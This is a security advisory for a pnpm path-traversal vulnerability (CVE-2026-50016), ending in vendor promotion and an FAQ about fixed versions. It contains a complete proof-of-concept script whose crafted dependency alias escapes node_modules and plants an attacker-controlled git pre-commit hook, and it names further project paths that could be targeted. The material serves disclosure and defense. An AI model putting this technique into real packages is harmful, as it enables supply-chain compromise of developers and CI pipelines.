Summary
pnpm: Transitive dependency alias path traversal allows project path override via symlink replacement
pnpm allows a transitive dependency alias from registry package metadata to contain path traversal segments. During install, pnpm later uses that alias as a filesystem path when linking dependency nodes. As a result, a registry package can cause pnpm install - ignore-scripts to replace paths in the current project with symlinks to attacker-controlled dependency package directories.
.git/hooks is only one useful target. The same primitive can replace other project-local paths that are consumed by later tools, for example:
.huskyor.githooksfor Git hook dispatchersscripts/,tools/,bin/, ortests/for project scripts and CI commands.github/actions/<name>for local GitHub Actions used later in the workflowdist/or other publish/build output directories beforepnpm packorpnpm publishnode_modules/.binor undeclarednode_modules/<name>paths used by later
command or module resolution
Targets that are regular files can also be replaced with symlinks to a package directory, but those cases are usually denial of service. Directory targets are more useful because many developer tools execute or load files from those directories after installation.
This was reproduced with [email protected].
Root Cause
pnpm preserves dependency alias names from package metadata and later passes those aliases into dependency linking as path components. The alias is joined with the destination node_modules directory and passed to the symlink creation logic without rejecting .. segments or checking that the normalized result stays inside the intended node_modules directory.
Conceptually, a transitive alias like this:
{
"@x/../../../../../.git/hooks": "npm:[email protected]"
}
is eventually treated like:
path.join(parentPackageNodeModulesDir, "@x/../../../../../.git/hooks")
The normalized destination escapes the dependency's node_modules directory and lands at the victim project's .git/hooks path. pnpm then creates a symlink at that escaped destination to the resolved payload-hooks package directory.
The dependency chain is:
victim installs [email protected]
[email protected] -> [email protected]
[email protected] -> [email protected] through a traversal alias
The malicious transitive package metadata contains:
{
"@x/../../../../../.git/hooks": "npm:[email protected]"
}
Because this uses an npm: registry alias, it does not rely on a transitive file: or link: dependency.
Proof Of Concept
Run:
./run.sh
#!/bin/sh
set -eu
SCRIPT_DIR=$(CDPATH= cd -- "$(dirname -- "$0")" && pwd)
WORKDIR="$SCRIPT_DIR/demo-workdir"
REGISTRY_DIR="$WORKDIR/registry"
TARBALLS_DIR="$REGISTRY_DIR/tarballs"
VICTIM_DIR="$WORKDIR/victim"
READY_FILE="$WORKDIR/registry-ready"
PORT_FILE="$WORKDIR/registry-port"
rm -rf "$WORKDIR"
mkdir -p "$REGISTRY_DIR/payload-hooks" "$REGISTRY_DIR/bad" "$REGISTRY_DIR/normal" "$TARBALLS_DIR" "$VICTIM_DIR"
cat > "$REGISTRY_DIR/payload-hooks/package.json" <<'JSON'
{
"name": "payload-hooks",
"version": "1.0.0",
"bin": {
"pre-commit": "pre-commit"
},
"files": [
"pre-commit"
]
}
JSON
cat > "$REGISTRY_DIR/payload-hooks/pre-commit" <<'EOF'
#!/bin/sh
echo PWNED >&2
exit 0
EOF
chmod +x "$REGISTRY_DIR/payload-hooks/pre-commit"
cat > "$REGISTRY_DIR/bad/package.json" <<'JSON'
{
"name": "bad",
"version": "1.0.0",
"description": "transitive registry package",
"dependencies": {
"@x/../../../../../.git/hooks": "npm:[email protected]"
}
}
JSON
cat > "$REGISTRY_DIR/normal/package.json" <<'JSON'
{
"name": "normal",
"version": "1.0.0",
"description": "normal looking package from a registry",
"dependencies": {
"bad": "1.0.0"
}
}
JSON
(cd "$REGISTRY_DIR/payload-hooks" && npm pack --pack-destination "$TARBALLS_DIR" --silent >/dev/null)
(cd "$REGISTRY_DIR/bad" && npm pack --pack-destination "$TARBALLS_DIR" --silent >/dev/null)
(cd "$REGISTRY_DIR/normal" && npm pack --pack-destination "$TARBALLS_DIR" --silent >/dev/null)
node - "$REGISTRY_DIR" "$READY_FILE" "$PORT_FILE" <<'NODE' &
const http = require('node:http')
const fs = require('node:fs')
const path = require('node:path')
const { execFileSync } = require('node:child_process')
const [registryDir, readyFile, portFile] = process.argv.slice(2)
const tarballsDir = path.join(registryDir, 'tarballs')
function shasum (filename) {
return execFileSync('openssl', ['dgst', '-sha1', path.join(tarballsDir, filename)])
.toString()
.trim()
.split(/\s+/)
.pop()
}
function integrity (filename) {
return 'sha512-' + execFileSync('openssl', ['dgst', '-sha512', '-binary', path.join(tarballsDir, filename)])
.toString('base64')
}
function packument (pkgName, req) {
const filename = `${pkgName}-1.0.0.tgz`
const manifest = JSON.parse(fs.readFileSync(path.join(registryDir, pkgName, 'package.json'), 'utf8'))
const origin = `http://${req.headers.host}`
return {
name: pkgName,
'dist-tags': {
latest: '1.0.0',
},
versions: {
'1.0.0': {
...manifest,
dist: {
tarball: `${origin}/${pkgName}/-/${filename}`,
shasum: shasum(filename),
integrity: integrity(filename),
},
},
},
}
}
const server = http.createServer((req, res) => {
const pathname = new URL(req.url, 'http://local.invalid').pathname
if (req.method !== 'GET') {
res.writeHead(405)
res.end('method not allowed')
return
}
if (pathname === '/normal' || pathname === '/bad' || pathname === '/payload-hooks') {
const pkgName = pathname.slice(1)
res.writeHead(200, { 'content-type': 'application/json' })
res.end(JSON.stringify(packument(pkgName, req)))
return
}
const tarballMatch = pathname.match(/^\/(normal|bad|payload-hooks)\/-\/(.+\.tgz)$/)
if (tarballMatch) {
const file = path.join(tarballsDir, tarballMatch[2])
res.writeHead(200, { 'content-type': 'application/octet-stream' })
fs.createReadStream(file).pipe(res)
return
}
res.writeHead(404)
res.end('not found')
})
server.listen(0, '127.0.0.1', () => {
fs.writeFileSync(portFile, String(server.address().port))
fs.writeFileSync(readyFile, 'ready')
})
NODE
REGISTRY_PID=$!
trap 'kill "$REGISTRY_PID" 2>/dev/null || true' EXIT INT TERM
WAIT_COUNT=0
while [ ! -f "$READY_FILE" ]; do
WAIT_COUNT=$((WAIT_COUNT + 1))
if [ "$WAIT_COUNT" -gt 100 ]; then
echo "local registry did not start" >&2
exit 1
fi
sleep 0.05
done
REGISTRY_PORT=$(cat "$PORT_FILE")
cd "$VICTIM_DIR"
git init -q
git config user.email [email protected]
git config user.name "Demo User"
cat > package.json <<'JSON'
{
"name": "victim",
"version": "1.0.0"
}
JSON
cat > .npmrc <<EOF
registry=http://127.0.0.1:$REGISTRY_PORT/
EOF
printf 'pnpm: '
pnpm --version
printf 'registry: http://127.0.0.1:%s/\n' "$REGISTRY_PORT"
printf 'victim: %s\n\n' "$VICTIM_DIR"
pnpm install [email protected] --ignore-scripts --config.confirmModulesPurge=false --reporter=silent
echo 'trigger commit' > change.txt
git add change.txt
set +e
COMMIT_STDERR=$(git commit -m 'trigger pre-commit' 2>&1 >/dev/null)
COMMIT_STATUS=$?
set -e
printf '\ngit commit exit code: %s\n' "$COMMIT_STATUS"
printf 'git commit stderr:\n%s\n' "$COMMIT_STDERR"
The script starts a local npm-compatible registry, writes a victim project .npmrc that points to that registry, installs [email protected] with --ignore-scripts, and then triggers git commit.
Requirements:
pnpm
npm
node
git
openssl
Expected output:
git commit exit code: 0
git commit stderr:
PWNED
PWNED is printed by the attacker-controlled pre-commit hook from the payload-hooks package.
Impact
Users often run pnpm install --ignore-scripts expecting that untrusted package code cannot execute during installation. This issue bypasses that expectation: the malicious package does not need a lifecycle script. Instead, it silently rewires project files or directories during install, and the payload runs when the user or CI later executes another normal command.
Examples include git commit, pnpm test, pnpm run build, a CI step that uses a local GitHub Action, or pnpm publish packaging a replaced dist/ directory. In this PoC, the victim installs a normal registry package, the transitive malicious package replaces .git/hooks, and the payload runs when the victim later executes git commit.
CVE-2026-50016 has a CVSS score of 8.8 (High). The vector is network-reachable, no privileges required, and user interaction required. A CVSS score reflects the worst-case severity of the vulnerability, not your specific exposure. Whether this affects your application depends on whether the vulnerable code is present and reachable in your environment. A fixed version is available (10.34.0, 11.4.0); upgrading removes the vulnerable code path.
Affected versions
Security releases
Kodem intelligence
Severity tells you how bad this could be in the worst case. It does not tell you whether you are exposed. Exploitability and impact are functions of runtime truth: whether the vulnerable code is present, reachable, and actually executes in your application. A vulnerable package can sit in your dependency tree and never run.
Kodem, an Intelligent Application Security platform, uses runtime intelligence to reveal which vulnerabilities actually execute in production, so teams prioritize the ones that genuinely matter. Kodem's runtime-powered SCA identifies whether this CVE is reachable in your applications.
Already deployed Kodem?
See it in your environmentNew to Kodem? Get a demo →Remediation advice
pnpm to 10.34.0 or later; pnpm to 11.4.0 or later
Kodem Kai can prioritize this vulnerability in your dependency tree and generate a fix recommendation.
Frequently Asked Questions
- What is CVE-2026-50016? CVE-2026-50016 is a high-severity security vulnerability in pnpm (npm), affecting versions < 10.34.0. It is fixed in 10.34.0, 11.4.0.
- How severe is CVE-2026-50016? CVE-2026-50016 has a CVSS score of 8.8 (High). This score reflects the worst-case severity of the vulnerability, not your specific exposure. Whether it represents real risk in your environment depends on whether the vulnerable code is present and reachable.
- Which versions of pnpm are affected by CVE-2026-50016? pnpm (npm) versions < 10.34.0 is affected.
- Is there a fix for CVE-2026-50016? Yes. CVE-2026-50016 is fixed in 10.34.0, 11.4.0. Upgrade to this version or later.
- Is CVE-2026-50016 exploitable, and should I be worried? Whether CVE-2026-50016 is exploitable in your environment depends on whether the vulnerable code is present and reachable. A CVSS score is a worst-case rating; it does not account for your specific deployment, configuration, or usage patterns. Kodem, an Intelligent Application Security platform, uses runtime intelligence to show which vulnerabilities actually execute in production, so you can focus on the ones that represent real risk. Get a demo
- What actually determines whether CVE-2026-50016 is exploitable, and how bad it is? Exploitability and impact are not fixed properties of a CVE. They depend on runtime truth: whether the vulnerable code is present, reachable, and actually executes in your application. A high CVSS score on a dependency that never runs is not the same as real risk. Kodem, an Intelligent Application Security platform, uses runtime intelligence to reveal which vulnerabilities actually execute in production, so teams prioritize the ones that genuinely matter.
- How do I fix CVE-2026-50016?
- Upgrade
pnpmto 10.34.0 or later - Upgrade
pnpmto 11.4.0 or later
- Upgrade